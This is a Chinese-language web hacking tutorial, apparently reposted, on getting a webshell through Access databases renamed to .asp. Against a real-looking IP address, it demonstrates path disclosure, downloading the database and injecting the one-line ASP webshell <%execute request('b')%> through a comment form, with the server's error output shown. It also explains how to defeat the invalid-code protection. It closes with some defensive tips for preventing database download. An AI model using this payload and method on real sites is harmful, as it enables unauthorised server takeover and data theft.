先不說直接改尾碼,直接可以用網快等工具直接下載,其實這樣你已經是為入侵者開啟了大門。入侵者可以利用asp/asa為尾碼的資料庫直接得到webshell。
一.思路
大家都知道<%%>為asp檔案的標誌符,也就是說一個asp檔案只會去執行<%%>之間的代碼,access+asp的web系統的所有資料都是存放在資料庫檔案裡(mdb檔案),由於管理者把mdb檔案改為了asp檔案,如果我們提交的資料裡包含有<%%>,那當我們訪問這個asp資料庫的時候就會去執行<%%>之間的代碼。這樣導致我們只提交惡意代碼給資料庫,那麼asp尾碼的資料庫就是我們的webshell了。
二.樣本
隨便找個目標,首先我們暴庫,看是不是asp尾碼的資料庫:http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
返回: 複製代碼 代碼如下:Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 錯誤 '80004005'
'D:\log_mdb\%29dlog_mdb%29.asp'不是一個有效路徑。 確定路徑名稱拼字是否正確,以及是否串連到檔案存放的伺服器。
/test/conn.asp,行18
我們提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的亂碼,這樣我們可以直接用網際快車等工具直接下載資料庫(這裡我們不討論)。我們回到首頁看到有提供“網友評論”功能。我們註冊個使用者,發一條評論:
<%execute request("b")%>
這樣我們就把asp代碼:<%execute request("b")%>寫入了資料庫,那麼資料庫:就是我們的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在亂碼的最後我們看到:
複製代碼 代碼如下:/iisHelp/common/500-100.asp,行242
Microsoft VBScript 執行階段錯誤 錯誤 '800a000d'
類型不符: 'execute'
/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266
注意:我們在向資料庫提交代碼時,代碼內容不可以太大。所以我們採用<%execute request("b")%>。
三.其他一些問題和思路
1.對於改了尾碼為asp,還對資料庫裡加入了<%='a'-1%>等非法的asp代碼來徹底防止下載的資料庫,由於裡面存在了非法的asp代碼,插入我們的webshell代碼後運行,將只會顯示前面非法代碼的錯誤,而不去執行我們shell的代碼。雖然這樣可以防止一定的攻擊,但還是存在一定的隱患,我們只要在出錯的代碼前加入相容錯誤的代碼,就可以得到正確顯示執行我們插入的webshell代碼了。
2.對於沒有改尾碼的,也就是mdb檔案,這樣我們可以先直接下載下來得到後台密碼,進了後台,可以利用資料庫備用改尾碼為asp。
mdb防下載方法小結
1:在iis6下面 如果一個副檔名沒有被定義則 訪問的時候會出現檔案沒有找到的404錯誤。
因此你可以將資料庫任意命名成一個絕對不會出現的檔案名稱就可以達到安全的效果比如:xxxxx.xxxxxxxxxxx
2 將資料庫放在網站的外部,那絕對就不能訪問得到了。例如: e:/web/是你的網站
則把資料庫放在e:/
3 正如樓上所說的 將.mdb 改成 .asp 同時倒入一個特殊的表 包含 <% 的二進位字元 這樣訪問檔案出現 缺少指令碼關閉符的提示。
4 或者將.mdb 改成.asp 同時用winhex開啟 可以發現176以後有很長一部分 00 字串 你隨便在處改成一段asp代碼 也可以實現防止下載,這樣也不影響資料庫功能。例如:
<%
response.write("非法訪問")
response.end()
%>
現在在資料庫的名稱裡 加上 “#” 和空格 都被破解了 比如“#” = “<%35” 而空格 = “<%20”
所以說 現在用這些已經不管用了。。
如果是自己的伺服器的話就在IIS裡設定一下:
建立一個空白的DLL檔案,然後在IIS裡添加映射,可執行檔選剛才建的這個DLL,副檔名填.mdb,儲存後重啟一下IIS服務即可。